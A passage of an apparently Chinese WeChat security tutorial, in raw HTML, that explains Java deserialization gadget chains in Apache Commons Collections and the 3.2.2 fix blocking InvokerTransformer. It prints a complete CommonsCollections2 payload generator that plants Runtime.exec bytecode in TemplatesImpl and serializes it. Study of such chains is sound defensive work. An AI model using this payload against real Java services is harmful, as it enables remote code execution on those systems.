src="https://wechat2rss.xlab.app/img-proxy/?k=2d7744dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z7RaVyO9ia0oSBbWrty72oicMZ1kD9YhW6UdicazAGzOCCCXTRPWLdaQ7LGSPx6BMocU2ZVRIVBLu0HQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top:0;"><br/></p><p style="margin-top:3px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:23px;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">当对恶意对象</span><span style="font-family: Verdana;">AnnotationInvocationHandler</span><span style="font-family: &#34;Droid Sans Fallback&#34;">进行反序列化的时候，调用</span><span style="font-family: Verdana;">readObject</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法，并对成员变量</span><span style="text-align: justify;font-family: Verdana;">memberValues</span><span style="text-align: justify;font-family: &#34;Droid Sans Fallback&#34;">调用</span><span style="text-align: justify;font-family: Verdana;">entrySet</span><span style="text-align: justify;font-family: &#34;Droid Sans Fallback&#34;">方法</span></span><span style="text-align: justify;font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-left:7px;line-height:23px;"><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.27046783625730997" data-s="300,640" style="" data-type="png" data-w="684" src="https://wechat2rss.xlab.app/img-proxy/?k=5cf1c08b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z7RaVyO9ia0oSBbWrty72oicM8Qib7Y75BcJJwRMBVckZjavvzh2A48mG8btZp07bqqcsay1zWxywlPg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-left:7px;line-height:23px;"><br/></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:24px;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">由于</span><span style="font-family: Verdana;">memberValues</span><span style="font-family: &#34;Droid Sans Fallback&#34;">是一个代理对象，所以回去调用该对象对应</span><span style="font-family: Verdana;">handler</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-family: Verdana;">invoke</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法，一定要注意，这个时候的</span><span style="text-align: justify;font-family: Verdana;">handler</span><span style="text-align: justify;font-family: &#34;Droid Sans Fallback&#34;">就是</span><span style="text-align: justify;font-family: Verdana;">memberValues</span><span style="text-align: justify;font-family: &#34;Droid Sans Fallback&#34;">为</span><span style="text-align: justify;font-family: Verdana;">lazyMap</span><span style="text-align: justify;font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="text-align: justify;font-family: Verdana;">handler</span><span style="text-align: justify;font-family: &#34;Droid Sans Fallback&#34;">了</span></span><span style="text-align: justify;font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:24px;"><span style="text-align: justify;font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.36603221083455345" data-s="300,640" style="" data-type="png" data-w="683" src="https://wechat2rss.xlab.app/img-proxy/?k=cb653289&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z7RaVyO9ia0oSBbWrty72oicMsjSN2zoicFmfGmDLJMBKcWZ5zkE2pcr844ia3dE5ux3Cep6VGDmH9oJQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size:9px;"> </span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:24px;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">由于</span><span style="font-family: Verdana;">entrySet</span><span style="font-family: &#34;Droid Sans Fallback&#34;">匹配不到</span><span style="font-family: Verdana;">if</span><span style="font-family: &#34;Droid Sans Fallback&#34;">语句中的判断，走到</span><span style="font-family: Verdana;">else</span><span style="font-family: &#34;Droid Sans Fallback&#34;">，，从而调用</span><em><span style="font-family: Arial;">this.memberValues.get(var4)</span></em><span style="font-family: &#34;Droid Sans Fallback&#34;">，于是到达了</span><span style="text-align: justify;font-family: Verdana;">lazyMap.get()</span><span style="text-align: justify;font-family: &#34;Droid Sans Fallback&#34;">了</span></span><span style="text-align: justify;font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:24px;"><span style="text-align: justify;font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.28017883755588674" data-s="300,640" style="" data-type="png" data-w="671" src="https://wechat2rss.xlab.app/img-proxy/?k=28f38b0d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z7RaVyO9ia0oSBbWrty72oicMmDwNUKdBFrzibuagpeEcc7xcer8X8icjF5yicWAFcBLUmgWED5Tav1hfQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top:4px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:23px;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">我们代码注释里已经说过了，</span><span style="font-family: Verdana;">lazyMap</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-family: Verdana;">factory</span><span style="font-family: &#34;Droid Sans Fallback&#34;">变量就是我们的恶意对象</span><span style="font-family: Verdana;">transformerChain</span><span style="font-family: &#34;Droid Sans Fallback&#34;">，并且调用了他的</span><span style="font-family: Verdana;">transform</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法，成功造成命令执行。</span></span></p><p style="margin-top:11px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">我们去看一下</span><span style="font-size: 14px;font-family: Verdana;">3.2.2</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">版本的时候这个漏洞是如何修复的</span></span></p><p style="margin-right:38px;margin-left:31px;text-indent:34px;line-height:38px;"><span style="font-size: 14px;"><span style="font-size: 14px;z-index: -1;margin-left: 57.3333px;width: 680px;height: 580px;"></span><span style="font-size: 14px;color: rgb(136, 88, 168);"></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">private void writeObject(ObjectOutputStream os) throws IOException { FunctorUtils.checkUnsafeSerialization(class<span class="code-snippet__variable">$org$apache$commons$collections</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__variable">$functors$InvokerTransformer</span> == null ? (class<span class="code-snippet__variable">$org$apache$commons$collections$functors$InvokerTransformer</span> = class$(<span class="code-snippet__string">&#34;org.apache.commons.collections.functors.InvokerTransformer&#34;</span>)) : class<span class="code-snippet__variable">$org$apache$commons$collections$functors$InvokerTransformer</span>);</span></code><code><span class="code-snippet_outer">os.defaultWriteObject();</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">FunctorUtils.checkUnsafeSerialization(class<span class="code-snippet__variable">$org$apache$commons$collections</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__variable">$functors$InvokerTransformer</span> == null ? (class<span class="code-snippet__variable">$org$apache$commons$collections$functors$InvokerTransformer</span> = class$(<span class="code-snippet__string">&#34;org.apache.commons.collections.functors.InvokerTransformer&#34;</span>)) : class<span class="code-snippet__variable">$org$apache$commons$collections$functors$InvokerTransformer</span>);</span></code><code><span class="code-snippet_outer">is.defaultReadObject();</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code></pre></section><p style="margin-top:0;margin-right:16px;margin-left:7px;text-indent:0;text-align:left;"><br/></p><p style="margin-top: 0px;text-align: left;text-indent: 0em;margin-left: 0px;margin-right: 0px;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">就是在调用</span><span style="font-size: 14px;font-family: Verdana;">readObject</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">和</span><span style="font-size: 14px;font-family: Verdana;">writeObject</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">的时候把</span><span style="font-size: 14px;font-family: Verdana;">InvokerTransformer</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">类给拉黑了。（当然这个还是需要看一下系统的配置</span><span style="font-size: 14px;font-family: Verdana;">org.apache.commons.collections.enableUnsafeSerialization</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">的值的，不过这个值默认是</span><span style="font-size: 14px;font-family: Verdana;">false</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">）</span></span></p><p style="margin-top:0;margin-right:16px;margin-left:7px;text-indent:0;text-align:left;"><br/></p><h2><span style="font-family: Verdana;font-size: 17px;">CommonsCollections2</span><span style="font-family: Verdana;font-size: 14px;"></span></h2><p style="margin-top:0;"><span style="font-family: Verdana;font-size: 14px;"> </span></p><p style="margin-top:0;margin-right:7px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;">适用版本：<span style="font-family: Verdana;">commons-collections-4.0, jdk7u21</span><span style="font-family: &#34;Droid Sans Fallback&#34;">及以前</span> <span style="font-family: &#34;Droid Sans Fallback&#34;">其实这个</span><span style="font-family: Verdana;">CommonsCollections2</span><span style="font-family: &#34;Droid Sans Fallback&#34;">只能叫另一种利用方式，</span> <span style="font-family: &#34;Droid Sans Fallback&#34;">而不能叫做</span><span style="font-family: Verdana;">CommonsCollections1</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的绕过，因为</span><span style="font-family: Verdana;">CommonsCollections1</span><span style="font-family: &#34;Droid Sans Fallback&#34;">也是可以在</span><span style="font-family: Verdana;">commons-collections-4.0</span><span style="font-family: &#34;Droid Sans Fallback&#34;">利用成功的，但是因为</span><span style="font-family: Verdana;">commons-collections-4.0</span><span style="font-family: &#34;Droid Sans Fallback&#34;">删除了</span><span style="font-family: Verdana;">lazyMap</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-family: Verdana;">decode</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法，所以需要将代码中的</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">Map</span> lazyMap = LazyMap.decorate(innerMap, transformerChain);</span></code></pre></section><p style="margin-top:1px;"><span style="text-align: left;font-size: 14px;">修改为</span><span style="text-align: left;"></span></p><p style="margin-top:0;margin-right:0;margin-left:23px;text-indent:0;text-align:left;"><span style="color:rgb(77,77,75);font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">Map</span> lazyMap = LazyMap.lazyMap(innerMap,transformerChain);</span></code></pre></section><p style="margin-top:0;margin-right:0;margin-left:23px;text-indent:0;text-align:left;"><span style="font-size:5px;"></span></p><p style="margin-top:3px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:23px;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">而且，更重要的一点，</span><span style="font-family: Verdana;">CommonsCollections2</span><span style="font-family: &#34;Droid Sans Fallback&#34;">不能在</span><span style="font-family: Verdana;">3.1-3.2.1</span><span style="font-family: &#34;Droid Sans Fallback&#34;">版本利用成功，</span><em><span style="font-family: &#34;Droid Sans Fallback&#34;">根本原因在于</span></em><em><span style="font-family: &#34;Droid Sans Fallback&#34;"></span></em></span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:21px;"><span style="font-size: 14px;"><strong><em><span style="font-size: 14px;font-family: Verdana;">CommonsCollections2</span></em></strong><em><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">的</span></em><strong><em><span style="font-size: 14px;font-family: Verdana;">payload</span></em></strong><em><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">中使用的</span></em><strong><em><span style="font-size: 14px;font-family: Verdana;">TransformingComparator</span></em></strong><em><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">在</span></em><strong><em><span style="font-size: 14px;font-family: Verdana;">3.1-3.2.1</span></em></strong><em><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">版本中还没有实现</span></em><em><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;"></span></em></span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:25px;"><span style="font-size: 14px;"><strong><em><span style="font-size: 14px;font-family: Verdana;">Serializable</span></em></strong><em><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">接口</span></em><em><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">，</span></em><em><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">无法被反序列化</span></em><em><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">。</span></em><em><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;"></span></em></span></p><p style="margin-top:11px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">现在我们来看一下</span><span style="font-size: 14px;font-family: Verdana;">CommonsCollections2</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-size: 14px;font-family: Verdana;">payload</span></span><span style="font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-size: 14px;white-space: pre;background-color: rgba(0, 0, 0, 0.03);"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.nqzero.permit.Permit;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.DOM;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.TransletException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; <span class="code-snippet__keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; <span class="code-snippet__keyword">import</span> com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.sun.org.apache.xml.internal.serializer.SerializationHandler; <span class="code-snippet__keyword">import</span> javassist.ClassClassPath;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javassist.ClassPool; <span class="code-snippet__keyword">import</span> javassist.CtClass;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.apache.commons.collections4.comparators.TransformingComparator; <span class="code-snippet__keyword">import</span> org.apache.commons.collections4.functors.InvokerTransformer;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.*;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Field; <span class="code-snippet__keyword">import</span> java.util.PriorityQueue;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> <span class="code-snippet__keyword">static</span> sun.reflect.misc.FieldUtil.getField; <span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">CommonCollection2Payload</span> </span>{</span></code><code><span class="code-snippet_outer" style="">//通过javassist动态创建类的时候需要用到这个类</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">StubTransletPayload</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">AbstractTranslet</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">Serializable</span> </span>{</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">long</span> serialVersionUID =</span></code><code><span class="code-snippet_outer">-<span class="code-snippet__number">5971610431559700674L</span>;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">transform</span> <span class="code-snippet__params">(DOM document, SerializationHandler[] handlers )</span> <span class="code-snippet__keyword">throws</span> TransletException </span>{}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer" style="">@Override</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">transform</span> <span class="code-snippet__params">(DOM document, DTMAxisIterator iterator, SerializationHandler handler )</span> <span class="code-snippet__keyword">throws</span> TransletException </span>{}</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer" style="">// 设置成员变量值</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">setFieldValue(<span class="code-snippet__keyword">final</span> Object obj, <span class="code-snippet__keyword">final</span> String fieldName, <span class="code-snippet__keyword">final</span> Object value)</span> <span class="code-snippet__keyword">throws</span> Exception </span>{</span></code><code><span class="code-snippet_outer">Field field = <span class="code-snippet__keyword">null</span>; <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer" style="">//获取私有成员变量</span></code><code><span class="code-snippet_outer">field = obj.getClass().getDeclaredField(fieldName);</span></code><code><span class="code-snippet_outer" style="">//获取私有成员变量访问权限Permit.setAccessible(field);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">catch</span> (NoSuchFieldException ex) {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (obj.getClass().getSuperclass() != <span class="code-snippet__keyword">null</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">field = getField(obj.getClass().getSuperclass(),</span></code><code><span class="code-snippet_outer">fieldName);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">field.set(obj, value);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer" style="">//获取成员变量值得</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> Object <span class="code-snippet__title">getFieldValue(<span class="code-snippet__keyword">final</span> Object obj, <span class="code-snippet__keyword">final</span> String fieldName)</span> <span class="code-snippet__keyword">throws</span> Exception </span>{</span></code><code><span class="code-snippet_outer">Field field = <span class="code-snippet__keyword">null</span>; <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">field = obj.getClass().getDeclaredField(fieldName); Permit.setAccessible(field);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">catch</span> (NoSuchFieldException ex) {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (obj.getClass().getSuperclass() != <span class="code-snippet__keyword">null</span>)</span></code><code><span class="code-snippet_outer">field = getField(obj.getClass().getSuperclass(),</span></code><code><span class="code-snippet_outer">fieldName);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> field.get(obj);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer" style="">//7u21反序列化漏洞恶意类生成函数</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> Object <span class="code-snippet__title">createTemplatesImpl(String command)</span> <span class="code-snippet__keyword">throws</span> Exception</span>{</span></code><code><span class="code-snippet_outer">Object templates = Class.forName(<span class="code-snippet__string">&#34;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&#34;</span></span></code><code><span class="code-snippet_outer">).newInstance();</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer" style="">// use template gadget class</span></code><code><span class="code-snippet_outer">ClassPool pool = ClassPool.getDefault();</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">final</span> CtClass clazz = pool.get(StubTransletPayload.class.getName());</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">String cmd = <span class="code-snippet__string">&#34;java.lang.Runtime.getRuntime().exec(\&#34;&#34;</span> + command.replaceAll(<span class="code-snippet__string">&#34;\\\\&#34;</span>,<span class="code-snippet__string">&#34;\\\\\\\\&#34;</span>).replaceAll(<span class="code-snippet__string">&#34;\&#34;&#34;</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;\\\&#34;&#34;</span>) +</span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;\&#34;);&#34;</span>;</span></code><code><span class="code-snippet_outer">clazz.makeClassInitializer().insertAfter(cmd); clazz.setName(<span class="code-snippet__string">&#34;ysoserial.Pwner&#34;</span> + System.nanoTime());</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span>[] classBytes = clazz.toBytecode(); setFieldValue(templates, <span class="code-snippet__string">&#34;_bytecodes&#34;</span>, <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[][] {</span></code><code><span class="code-snippet_outer">classBytes});</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer" style="">// required to make TemplatesImpl happy setFieldValue(templates, &#34;_name&#34;, &#34;Pwnr&#34;); setFieldValue(templates, &#34;_tfactory&#34;,</span></code><code><span class="code-snippet_outer">Class.forName(<span class="code-snippet__string">&#34;com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFac toryImpl&#34;</span>).newInstance());</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> templates;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main(String[] args)</span> <span class="code-snippet__keyword">throws</span> Exception </span>{ String command = <span class="code-snippet__string">&#34;open /Applications/Calculator.app/&#34;</span>; <span class="code-snippet__keyword">final</span> Object templates = createTemplatesImpl(command);</span></code><code><span class="code-snippet_outer" style="">// payload中再次使用了InvokerTransformer，可见这个在3.2.2版本中被拉黑的类在4.0中反倒又可以用了</span></code><code><span class="code-snippet_outer" style="">//这个toString值只是个幌子，后面会通过setFieldValue把iMethodName的值改成</span></code><code><span class="code-snippet_outer">newTransformer</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">final</span> InvokerTransformer transformer = <span class="code-snippet__keyword">new</span> InvokerTransformer(<span class="code-snippet__string">&#34;toString&#34;</span>, <span class="code-snippet__keyword">new</span> Class[<span class="code-snippet__number">0</span>], <span class="code-snippet__keyword">new</span> Object[<span class="code-snippet__number">0</span>]);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer" style="">// payload中的核心代码模块，创建一个PriorityQueue对象，并将它的comparator</span></code><code><span class="code-snippet_outer">设为包含恶意transformer对象的TransformingComparator</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">final</span> PriorityQueue&lt;Object&gt; queue = <span class="code-snippet__keyword">new</span> PriorityQueue&lt;Object&gt; (<span class="code-snippet__number">2</span>,<span class="code-snippet__keyword">new</span> TransformingComparator(transformer));</span></code><code><span class="code-snippet_outer" style="">// 先设置为正常变量值，在后面通过setFieldValue来修改</span></code><code><span class="code-snippet_outer">queue.add(<span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">queue.add(<span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer" style="">// 不再像第一个payload中一样直接去调用调出runtime的exec，而是通过调用</span></code><code><span class="code-snippet_outer">TemplatesImpl类的newTransformer方法来实现<span class="code-snippet__function">RCE</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer" style="">setFieldValue(transformer, <span class="code-snippet__string">&#34;iMethodName&#34;</span>, <span class="code-snippet__string">&#34;newTransformer&#34;</span>)</span>;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">final</span> Object[] queueArray = (Object[]) getFieldValue(queue, <span class="code-snippet__string">&#34;queue&#34;</span>);</span></code><code><span class="code-snippet_outer">queueArray[<span class="code-snippet__number">0</span>] = templates; queueArray[<span class="code-snippet__number">1</span>] = <span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">FileOutputStream fos = <span class="code-snippet__keyword">new</span> FileOutputStream(<span class="code-snippet__string">&#34;payload.ser&#34;</span>); ObjectOutputStream oos = <span class="code-snippet__keyword">new</span> ObjectOutputStream(fos); oos.writeObject(queue);</span></code><code><span class="code-snippet_outer">oos.flush();</span></code><code><span class="code-snippet_outer">oos.close();</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">FileInputStream fis = <span class="code-snippet__keyword">new</span> FileInputStream(<span class="code-snippet__string">&#34;payload.ser&#34;</span>); ObjectInputStream ois = <span class="code-snippet__keyword">new</span> ObjectInputStream(fis); Object newObj = ois.readObject();</span></code><code><span class="code-snippet_outer">ois.close();</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="margin-top:4px;margin-right:10px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">这个</span><span style="font-family: Verdana;">payload</span><span style="font-family: &#34;Droid Sans Fallback&#34;">和</span><span style="font-family: Verdana;">1</span><span style="font-family: &#34;Droid Sans Fallback&#34;">在造成</span><span style="font-family: Verdana;">RCE</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的原理上有个不同是不再去依靠</span><span style="font-family: Verdana;">Runtime</span><span style="font-family: &#34;Droid Sans Fallback&#34;">类的</span><span style="font-family: Verdana;">exec</span><span style="font-family: &#34;Droid Sans Fallback&#34;">，而是使用了我们知名的</span><span style="font-family: Verdana;">7u21</span><span style="font-family: &#34;Droid Sans Fallback&#34;">模</span>    <span style="font-family: &#34;Droid Sans Fallback&#34;">块，关于</span><span style="font-family: Verdana;">7u21</span><span style="font-family: &#34;Droid Sans Fallback&#34;">模块</span><span style="font-family: Verdana;">RCE</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的讲解，我们也不细谈，网上大把大把的分析，只需要明白一件事情，我们只要能调用包含恶意字节码的</span><span style="font-family: Verdana;">TemplatesImpl</span><span style="font-family: &#34;Droid Sans Fallback&#34;">对象的利用链中的任意函数</span><span style="font-family: Verdana;">(getOutputProperties</span><span style="font-family: &#34;Droid Sans Fallback&#34;">、</span><span style="font-family: Verdana;">newTransformer</span><span style="font-family: &#34;Droid Sans Fallback&#34;">等等</span><span style="font-family: Verdana;">)</span><span style="font-family: &#34;Droid Sans Fallback&#34;">，就能造成</span><span style="font-family: Verdana;">RCE</span><span style="font-family: &#34;Droid Sans Fallback&#34;">。</span></span></p><p style="margin-top:12px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;">先去看调用链：</span><span style="font-size: 13px;font-family: &#34;Droid Sans 